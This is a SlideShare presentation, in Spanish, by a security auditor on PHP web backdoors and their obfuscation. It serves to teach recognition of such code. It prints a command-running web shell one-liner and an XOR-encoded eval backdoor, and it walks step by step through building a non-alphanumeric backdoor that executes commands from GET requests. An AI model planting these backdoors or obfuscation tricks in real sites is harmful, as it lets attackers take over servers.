SlideShare una empresa de Scribd logo
1 de 48
FROM
<?php system($_GET[‘cmd’]);?>
TO
(…) $_[@-_]($_[@!+_] ); (…)
$_[@-_]($_[@!+_] );
Juan Manuel Fernández (@TheXC3LL)
1
#~whoami
• Auditor de seguridad / Jugador de CTFs
• Miembro de ka0labs / #Insanity
• Twitter: @TheXC3LL
• Correo: juanmaft@Hotmail.es
• Linkedin: /in/thexc3ll
Juan Manuel Fernández (@TheXC3LL) 2
#~ka0labs
[ irc @ ka0labs.net ]
{
Server: irc.ka0labs.net
Puerto (SSL): 9999 / 9998
Canal: #ka0labs
}
Juan Manuel Fernández (@TheXC3LL) 3
#~Encuentra el backdoor…
Juan Manuel Fernández (@TheXC3LL) 4
#~Encuentra el backdoor…
Juan Manuel Fernández (@TheXC3LL) 5
#~Encuentra el backdoor…
Juan Manuel Fernández (@TheXC3LL) 6
#~Encuentra el backdoor…
Juan Manuel Fernández (@TheXC3LL) 7
#~Encuentra el backdoor…
…y adivina que hace
Juan Manuel Fernández (@TheXC3LL) 8
#~Encuentra el backdoor…
…y adivina que hace
Juan Manuel Fernández (@TheXC3LL) 9
#~Sin ofuscar
Juan Manuel Fernández (@TheXC3LL) 10
#~Ejecución directa
Comandos del S.O.
• System()
• Passthru()
• Exec()
• Proc_open()
• Shell_exec()
• Backticks (` `)
Código PHP
• Eval()
• Assert()
Juan Manuel Fernández (@TheXC3LL) 11
#~Preg_replace()
Juan Manuel Fernández (@TheXC3LL) 12
• Modificador /e
• Permite evaluar código
• Se encuentra obsoleta
#~Funciones con callbacks
Juan Manuel Fernández (@TheXC3LL) 13
• Se trata de funciones que permiten pasarle otras funciones como
argumento.
• Listado de decenas de funciones con esta característica
#~Ofuscación
(Let’s go!)
Juan Manuel Fernández (@TheXC3LL) 14
#~Funciones para cadenas
• Dificultan la lectura del código fuente del backdoor
• Son métodos reversibles utilizando la función inversa
• Funciones típicas utilizadas:
• Base64_encode()
• Str_rot13()
• Strrev()
• …
Juan Manuel Fernández (@TheXC3LL) 15
#~Ejemplo
Juan Manuel Fernández (@TheXC3LL) 16
#~Ejemplo
Juan Manuel Fernández (@TheXC3LL) 17
#~Funciones de compresión
• Misma intención que las funciones de cadena: crear strings ilegibles
• Algunos ejemplos:
• Gdeflate()
• Gzcompress()
• Gzencode()
• …
Juan Manuel Fernández (@TheXC3LL) 18
#~Muestra real (1)
Juan Manuel Fernández (@TheXC3LL) 19
#~Muestra real (1)
• Base64_decode -> gzinflate
Juan Manuel Fernández (@TheXC3LL) 20
#~Muestra real (1)
Juan Manuel Fernández (@TheXC3LL) 21
• Base64_decode -> gzinflate
#~Muestra real (1)
• Si comparamos el string original, con el segundo obtenido, vemos que
en realidad son diferentes:
Juan Manuel Fernández (@TheXC3LL) 22
#~Muestra real (1)
Juan Manuel Fernández (@TheXC3LL) 23
#~Muestra real (1)
Juan Manuel Fernández (@TheXC3LL) 24
#~Funciones variables
• Si un nombre de variable tiene paréntesis anexos a él, PHP buscará
una función con el mismo nombre que lo evaluado por la variable, e
intentará ejecutarla
• $a = base6;
• $b = 4_decode;
• $c = $a.$b;
• $c(“aslkdfjañsldfkjasdñlfkjasñdlfka”);
Juan Manuel Fernández (@TheXC3LL) 25
#~Funciones variables
• Si un nombre de variable tiene paréntesis anexos a él, PHP buscará
una función con el mismo nombre que lo evaluado por la variable, e
intentará ejecutarla
• Esto NO FUNCIONA con EVAL(), ya que se trata de un constructor del
lenguaje
• Usemos assert() para evaluar código PHP ;)
Juan Manuel Fernández (@TheXC3LL) 26
#~Operaciones aritméticas y lógicas
• Operaciones aritméticas: +-/*%...
• Operaciones lógicas: ^&|…
• eval(base64_decode("GBhDGAQPWw==") ^ $_GET['xor']);
Juan Manuel Fernández (@TheXC3LL) 27
#~Muestra real (2)
Juan Manuel Fernández (@TheXC3LL) 28
#~Muestra real (2)
Juan Manuel Fernández (@TheXC3LL) 29
#~Muestra real (2)
Juan Manuel Fernández (@TheXC3LL) 30
#~Muestra real (2)
Juan Manuel Fernández (@TheXC3LL) 31
#~Crear nuevas palabras a partir de otras
Juan Manuel Fernández (@TheXC3LL) 32
•
• Se tiene una cadena inicial de caracteres que sirve de base
• A partir de ésta se generan todas las necesarias
#~Muestra real (3)
Juan Manuel Fernández (@TheXC3LL) 33
#~Muestra real (3)
Juan Manuel Fernández (@TheXC3LL) 34
• stop_ =>
• $qV[0] = s
• $qV[1] = t
• $qV[2] = o
• $qV[3] = p
• $qV[4] = _
• Strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]) => POST_
#~Muestra real (3)
Juan Manuel Fernández (@TheXC3LL) 35
#~Backdoors no-alfanuméricos
• Se trabaja con caracteres no-alfanuméricos y operaciones
matemáticas / lógicas
• El objetivo es crear caracteres alfanuméricos a través de las diferentes
operaciones
• Mejor verlo…
Juan Manuel Fernández (@TheXC3LL) 36
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 37
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 38
•@$_[]=@!+_;
• Creamos un array llamado “$_”
• El “_” es interpretado como una constante. Al no existir la declaración de dicha
constante, se convierte en un string.
• Al ejecutar una suma (+) sobre el string, éste se convierte en un integer cuyo
valor es 0.
• El operador lógico “!”, convierte ese 0 en un TRUE
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 39
•$__=@${_}>>$_
• Prácticamente igual que antes: hacemos una operación entre una constante
inexistente y $_, que ahora valía 0
• El resultado es que $__ tiene como valor 0
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 40
•$_[]=$__
• Se añade un nuevo elemento al array $_ , cuyo valor es $__ (que recordamos es
0)
• Por lo tanto ahora $_[] => [TRUE, 0]
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 41
•$_[]=@_
• Se añade un nuevo elemento al array $_[], en este caso el carácter “_”
• Por lo tanto $_ => [TRUE, 0, “_”]
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 42
•$_[((++$__)+($__++ ))].=$_;
• Se modifica el tercer elemento del array ($_[2]), para concatearle la palabra
“Array”. El array, al ser concatenado, se castea como dicho string.
• Por lo tanto $_ => [TRUE, 0, ”_Array”,]
• Además ahora la variable $__ tiene como valor “2”
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 43
•$_[]=++$__;
• Se añade un nuevo elemento al array, un “3”
• $_ => [TRUE, 0, ”_Array”, 3]
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 44
•$_[]=$_[--$__][$__>>$__];
• Se añade un nuevo elemento. El nuevo elemento se corresponde con el primer
carácter el string contenido en el tercer elemento del array. Es decir:
• $_[--$__] = _Array
• $__ >> $__ = 0
• Por lo tanto, el nuevo elemento añadido es “_”
• $__ = 2
$_ => [ TRUE, 0, “_Array”, 3, “_]
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 45
• $_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
• Se le concatena al tercer elemento lo siguiente:
• 2 + 2 + TRUE = 5
• 2 + 2 + 2 + TRUE = 7
Por lo tanto:
$_ => [TRUE, 0, “_Array57”, 3, “_”]
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 46
• $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
• El cuarto elemento ($_[4]) del array será la concatenación del primer carácter del
elemento tercero del array (“_”)
• Y el resultado de hacer XOR entre “r” y “5”, el cual es “G”. Por lo tanto:
• $_ => [TRUE, 0, “_Array57”, 3, “_G”]
#~Muestra real (4)
Juan Manuel Fernández (@TheXC3LL) 47
• ¡ Ya tenemos un “_” y una “G” !
• Siguiendo el proceso podremos obtener el resto de caracteres necesarios para
poder ejecutar comandos desde una petición GET
¿Dudas,insultos…?
Twitter: @TheXC3LL
Correo: juanmaft@Hotmail.es
Linkedin: /in/thexc3ll
Juan Manuel Fernández (@TheXC3LL) 48

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Algoritmo de listas simples completo
Algoritmo de listas simples  completoAlgoritmo de listas simples  completo
Algoritmo de listas simples completo
 
Listas enlazadas
Listas enlazadasListas enlazadas
Listas enlazadas
 
Programa 19
Programa 19Programa 19
Programa 19
 
Práctica web de la sesión 3
Práctica web de la sesión 3Práctica web de la sesión 3
Práctica web de la sesión 3
 
Semana 4 Estructuras de datos(Listas)
Semana 4   Estructuras de datos(Listas)Semana 4   Estructuras de datos(Listas)
Semana 4 Estructuras de datos(Listas)
 
U2 Lenguaje de definicion de datos
U2 Lenguaje de definicion de datosU2 Lenguaje de definicion de datos
U2 Lenguaje de definicion de datos
 
Inf 16 (grupal 4) (lectura y desarrollo de un número)
Inf 16  (grupal 4) (lectura y desarrollo de un número)Inf 16  (grupal 4) (lectura y desarrollo de un número)
Inf 16 (grupal 4) (lectura y desarrollo de un número)
 
I2 u4
I2 u4I2 u4
I2 u4
 
Inf 19 (consulya y borrado de datos)
Inf 19 (consulya y borrado de datos)Inf 19 (consulya y borrado de datos)
Inf 19 (consulya y borrado de datos)
 
46 Php. Ordenacion De Arrays I
46 Php. Ordenacion De Arrays I46 Php. Ordenacion De Arrays I
46 Php. Ordenacion De Arrays I
 
Programa 19
Programa 19Programa 19
Programa 19
 
Estructura de datos
Estructura de datosEstructura de datos
Estructura de datos
 
PHP's FIG and PSRs
PHP's FIG and PSRsPHP's FIG and PSRs
PHP's FIG and PSRs
 
Estructura de Datos (LISTAS, COLAS, PILAS)
Estructura de Datos (LISTAS, COLAS, PILAS)Estructura de Datos (LISTAS, COLAS, PILAS)
Estructura de Datos (LISTAS, COLAS, PILAS)
 
Clases de php
Clases de phpClases de php
Clases de php
 
Estructura de un programa
Estructura de un programaEstructura de un programa
Estructura de un programa
 
Práctica web de la sesión 3
Práctica web de la sesión 3Práctica web de la sesión 3
Práctica web de la sesión 3
 
Inf 17 (chatbot)
Inf 17 (chatbot)Inf 17 (chatbot)
Inf 17 (chatbot)
 
Operadores de busqueda
Operadores de busquedaOperadores de busqueda
Operadores de busqueda
 
XPath
XPathXPath
XPath
 

Destacado

Malware by Jordan Diaz
Malware by Jordan DiazMalware by Jordan Diaz
Malware by Jordan DiazJordan Diaz
 
Cómo y por qué abrimos nuestra plataforma
Cómo y por qué abrimos nuestra plataformaCómo y por qué abrimos nuestra plataforma
Cómo y por qué abrimos nuestra plataformaDaniel Rabinovich
 
Sin título 1
Sin título 1Sin título 1
Sin título 1Fiximun
 
Seguridad Informatica
Seguridad InformaticaSeguridad Informatica
Seguridad Informaticaildetrevias
 
Trojans and backdoors
Trojans and backdoorsTrojans and backdoors
Trojans and backdoorsGaurav Dalvi
 
La zamba»GONZALEZ MARIA IVANNA
La zamba»GONZALEZ MARIA IVANNALa zamba»GONZALEZ MARIA IVANNA
La zamba»GONZALEZ MARIA IVANNAmariaivanna
 

Destacado (11)

Malware by Jordan Diaz
Malware by Jordan DiazMalware by Jordan Diaz
Malware by Jordan Diaz
 
alberto martin, seguridad
alberto martin, seguridadalberto martin, seguridad
alberto martin, seguridad
 
Lucas
LucasLucas
Lucas
 
Cómo y por qué abrimos nuestra plataforma
Cómo y por qué abrimos nuestra plataformaCómo y por qué abrimos nuestra plataforma
Cómo y por qué abrimos nuestra plataforma
 
Presentación1
Presentación1Presentación1
Presentación1
 
Sin título 1
Sin título 1Sin título 1
Sin título 1
 
Seguridad Informatica
Seguridad InformaticaSeguridad Informatica
Seguridad Informatica
 
Trojans and backdoors
Trojans and backdoorsTrojans and backdoors
Trojans and backdoors
 
Virus
VirusVirus
Virus
 
La zamba»GONZALEZ MARIA IVANNA
La zamba»GONZALEZ MARIA IVANNALa zamba»GONZALEZ MARIA IVANNA
La zamba»GONZALEZ MARIA IVANNA
 
El Malware
El MalwareEl Malware
El Malware
 

Similar a Backdoors PHP y ofuscación (20)

IntroducciónPHP.pptx
IntroducciónPHP.pptxIntroducciónPHP.pptx
IntroducciónPHP.pptx
 
Perl2 arrays
Perl2 arraysPerl2 arrays
Perl2 arrays
 
Curso de Python
Curso de PythonCurso de Python
Curso de Python
 
Php
PhpPhp
Php
 
Funciones de cadenas
Funciones de cadenasFunciones de cadenas
Funciones de cadenas
 
Workshop Camp México 09 - Introducción a Ruby
Workshop Camp México 09 - Introducción a RubyWorkshop Camp México 09 - Introducción a Ruby
Workshop Camp México 09 - Introducción a Ruby
 
Ejercicios Python parte 4
Ejercicios Python parte 4Ejercicios Python parte 4
Ejercicios Python parte 4
 
Guion scripts
Guion scriptsGuion scripts
Guion scripts
 
Tarea seccio 3_antonio
Tarea seccio 3_antonioTarea seccio 3_antonio
Tarea seccio 3_antonio
 
Ejercicios con Python parte 05
Ejercicios con Python parte 05Ejercicios con Python parte 05
Ejercicios con Python parte 05
 
Perl (practical extraction and report language)
Perl (practical extraction and report language)Perl (practical extraction and report language)
Perl (practical extraction and report language)
 
Python para principiantes
Python para principiantesPython para principiantes
Python para principiantes
 
Ejemplos de php_mysql
Ejemplos de php_mysqlEjemplos de php_mysql
Ejemplos de php_mysql
 
Javascript
JavascriptJavascript
Javascript
 
02 introduccion a python
02 introduccion a python02 introduccion a python
02 introduccion a python
 
Programacion iv sesion10 php
Programacion iv sesion10 phpProgramacion iv sesion10 php
Programacion iv sesion10 php
 
Algoritmos de busqueda
Algoritmos de busquedaAlgoritmos de busqueda
Algoritmos de busqueda
 
Algoritmos de busqueda
Algoritmos de busquedaAlgoritmos de busqueda
Algoritmos de busqueda
 
Php
PhpPhp
Php
 
Pensando funcionalmente
Pensando funcionalmentePensando funcionalmente
Pensando funcionalmente
 

Último

institucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenainstitucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenajuniorcuellargomez
 
Institucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenaInstitucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenadanielaerazok
 
libro de Ciencias Sociales_6to grado.pdf
libro de Ciencias Sociales_6to grado.pdflibro de Ciencias Sociales_6to grado.pdf
libro de Ciencias Sociales_6to grado.pdfFAUSTODANILOCRUZCAST
 
Buscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webBuscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webDecaunlz
 
Guia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdfGuia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdflauradbernals
 
COMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfCOMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfOscarBlas6
 
12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdfedwinmelgarschlink2
 
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfNUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfisrael garcia
 
COMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COM
COMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COMCOMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COM
COMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COMcespitiacardales
 
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAINSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAdanielaerazok
 

Último (10)

institucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenainstitucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalena
 
Institucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenaInstitucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalena
 
libro de Ciencias Sociales_6to grado.pdf
libro de Ciencias Sociales_6to grado.pdflibro de Ciencias Sociales_6to grado.pdf
libro de Ciencias Sociales_6to grado.pdf
 
Buscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webBuscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la web
 
Guia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdfGuia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdf
 
COMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfCOMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdf
 
12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf
 
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfNUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
 
COMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COM
COMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COMCOMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COM
COMOGANARAMIGODPARACRISTOIGLESIAADVENTISTANECOCLI,COM
 
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAINSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
 

Backdoors PHP y ofuscación

  • 1. FROM <?php system($_GET[‘cmd’]);?> TO (…) $_[@-_]($_[@!+_] ); (…) $_[@-_]($_[@!+_] ); Juan Manuel Fernández (@TheXC3LL) 1
  • 2. #~whoami • Auditor de seguridad / Jugador de CTFs • Miembro de ka0labs / #Insanity • Twitter: @TheXC3LL • Correo: juanmaft@Hotmail.es • Linkedin: /in/thexc3ll Juan Manuel Fernández (@TheXC3LL) 2
  • 3. #~ka0labs [ irc @ ka0labs.net ] { Server: irc.ka0labs.net Puerto (SSL): 9999 / 9998 Canal: #ka0labs } Juan Manuel Fernández (@TheXC3LL) 3
  • 4. #~Encuentra el backdoor… Juan Manuel Fernández (@TheXC3LL) 4
  • 5. #~Encuentra el backdoor… Juan Manuel Fernández (@TheXC3LL) 5
  • 6. #~Encuentra el backdoor… Juan Manuel Fernández (@TheXC3LL) 6
  • 7. #~Encuentra el backdoor… Juan Manuel Fernández (@TheXC3LL) 7
  • 8. #~Encuentra el backdoor… …y adivina que hace Juan Manuel Fernández (@TheXC3LL) 8
  • 9. #~Encuentra el backdoor… …y adivina que hace Juan Manuel Fernández (@TheXC3LL) 9
  • 10. #~Sin ofuscar Juan Manuel Fernández (@TheXC3LL) 10
  • 11. #~Ejecución directa Comandos del S.O. • System() • Passthru() • Exec() • Proc_open() • Shell_exec() • Backticks (` `) Código PHP • Eval() • Assert() Juan Manuel Fernández (@TheXC3LL) 11
  • 12. #~Preg_replace() Juan Manuel Fernández (@TheXC3LL) 12 • Modificador /e • Permite evaluar código • Se encuentra obsoleta
  • 13. #~Funciones con callbacks Juan Manuel Fernández (@TheXC3LL) 13 • Se trata de funciones que permiten pasarle otras funciones como argumento. • Listado de decenas de funciones con esta característica
  • 14. #~Ofuscación (Let’s go!) Juan Manuel Fernández (@TheXC3LL) 14
  • 15. #~Funciones para cadenas • Dificultan la lectura del código fuente del backdoor • Son métodos reversibles utilizando la función inversa • Funciones típicas utilizadas: • Base64_encode() • Str_rot13() • Strrev() • … Juan Manuel Fernández (@TheXC3LL) 15
  • 18. #~Funciones de compresión • Misma intención que las funciones de cadena: crear strings ilegibles • Algunos ejemplos: • Gdeflate() • Gzcompress() • Gzencode() • … Juan Manuel Fernández (@TheXC3LL) 18
  • 19. #~Muestra real (1) Juan Manuel Fernández (@TheXC3LL) 19
  • 20. #~Muestra real (1) • Base64_decode -> gzinflate Juan Manuel Fernández (@TheXC3LL) 20
  • 21. #~Muestra real (1) Juan Manuel Fernández (@TheXC3LL) 21 • Base64_decode -> gzinflate
  • 22. #~Muestra real (1) • Si comparamos el string original, con el segundo obtenido, vemos que en realidad son diferentes: Juan Manuel Fernández (@TheXC3LL) 22
  • 23. #~Muestra real (1) Juan Manuel Fernández (@TheXC3LL) 23
  • 24. #~Muestra real (1) Juan Manuel Fernández (@TheXC3LL) 24
  • 25. #~Funciones variables • Si un nombre de variable tiene paréntesis anexos a él, PHP buscará una función con el mismo nombre que lo evaluado por la variable, e intentará ejecutarla • $a = base6; • $b = 4_decode; • $c = $a.$b; • $c(“aslkdfjañsldfkjasdñlfkjasñdlfka”); Juan Manuel Fernández (@TheXC3LL) 25
  • 26. #~Funciones variables • Si un nombre de variable tiene paréntesis anexos a él, PHP buscará una función con el mismo nombre que lo evaluado por la variable, e intentará ejecutarla • Esto NO FUNCIONA con EVAL(), ya que se trata de un constructor del lenguaje • Usemos assert() para evaluar código PHP ;) Juan Manuel Fernández (@TheXC3LL) 26
  • 27. #~Operaciones aritméticas y lógicas • Operaciones aritméticas: +-/*%... • Operaciones lógicas: ^&|… • eval(base64_decode("GBhDGAQPWw==") ^ $_GET['xor']); Juan Manuel Fernández (@TheXC3LL) 27
  • 28. #~Muestra real (2) Juan Manuel Fernández (@TheXC3LL) 28
  • 29. #~Muestra real (2) Juan Manuel Fernández (@TheXC3LL) 29
  • 30. #~Muestra real (2) Juan Manuel Fernández (@TheXC3LL) 30
  • 31. #~Muestra real (2) Juan Manuel Fernández (@TheXC3LL) 31
  • 32. #~Crear nuevas palabras a partir de otras Juan Manuel Fernández (@TheXC3LL) 32 • • Se tiene una cadena inicial de caracteres que sirve de base • A partir de ésta se generan todas las necesarias
  • 33. #~Muestra real (3) Juan Manuel Fernández (@TheXC3LL) 33
  • 34. #~Muestra real (3) Juan Manuel Fernández (@TheXC3LL) 34 • stop_ => • $qV[0] = s • $qV[1] = t • $qV[2] = o • $qV[3] = p • $qV[4] = _ • Strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]) => POST_
  • 35. #~Muestra real (3) Juan Manuel Fernández (@TheXC3LL) 35
  • 36. #~Backdoors no-alfanuméricos • Se trabaja con caracteres no-alfanuméricos y operaciones matemáticas / lógicas • El objetivo es crear caracteres alfanuméricos a través de las diferentes operaciones • Mejor verlo… Juan Manuel Fernández (@TheXC3LL) 36
  • 37. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 37
  • 38. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 38 •@$_[]=@!+_; • Creamos un array llamado “$_” • El “_” es interpretado como una constante. Al no existir la declaración de dicha constante, se convierte en un string. • Al ejecutar una suma (+) sobre el string, éste se convierte en un integer cuyo valor es 0. • El operador lógico “!”, convierte ese 0 en un TRUE
  • 39. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 39 •$__=@${_}>>$_ • Prácticamente igual que antes: hacemos una operación entre una constante inexistente y $_, que ahora valía 0 • El resultado es que $__ tiene como valor 0
  • 40. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 40 •$_[]=$__ • Se añade un nuevo elemento al array $_ , cuyo valor es $__ (que recordamos es 0) • Por lo tanto ahora $_[] => [TRUE, 0]
  • 41. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 41 •$_[]=@_ • Se añade un nuevo elemento al array $_[], en este caso el carácter “_” • Por lo tanto $_ => [TRUE, 0, “_”]
  • 42. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 42 •$_[((++$__)+($__++ ))].=$_; • Se modifica el tercer elemento del array ($_[2]), para concatearle la palabra “Array”. El array, al ser concatenado, se castea como dicho string. • Por lo tanto $_ => [TRUE, 0, ”_Array”,] • Además ahora la variable $__ tiene como valor “2”
  • 43. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 43 •$_[]=++$__; • Se añade un nuevo elemento al array, un “3” • $_ => [TRUE, 0, ”_Array”, 3]
  • 44. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 44 •$_[]=$_[--$__][$__>>$__]; • Se añade un nuevo elemento. El nuevo elemento se corresponde con el primer carácter el string contenido en el tercer elemento del array. Es decir: • $_[--$__] = _Array • $__ >> $__ = 0 • Por lo tanto, el nuevo elemento añadido es “_” • $__ = 2 $_ => [ TRUE, 0, “_Array”, 3, “_]
  • 45. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 45 • $_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; • Se le concatena al tercer elemento lo siguiente: • 2 + 2 + TRUE = 5 • 2 + 2 + 2 + TRUE = 7 Por lo tanto: $_ => [TRUE, 0, “_Array57”, 3, “_”]
  • 46. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 46 • $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); • El cuarto elemento ($_[4]) del array será la concatenación del primer carácter del elemento tercero del array (“_”) • Y el resultado de hacer XOR entre “r” y “5”, el cual es “G”. Por lo tanto: • $_ => [TRUE, 0, “_Array57”, 3, “_G”]
  • 47. #~Muestra real (4) Juan Manuel Fernández (@TheXC3LL) 47 • ¡ Ya tenemos un “_” y una “G” ! • Siguiendo el proceso podremos obtener el resto de caracteres necesarios para poder ejecutar comandos desde una petición GET
  • 48. ¿Dudas,insultos…? Twitter: @TheXC3LL Correo: juanmaft@Hotmail.es Linkedin: /in/thexc3ll Juan Manuel Fernández (@TheXC3LL) 48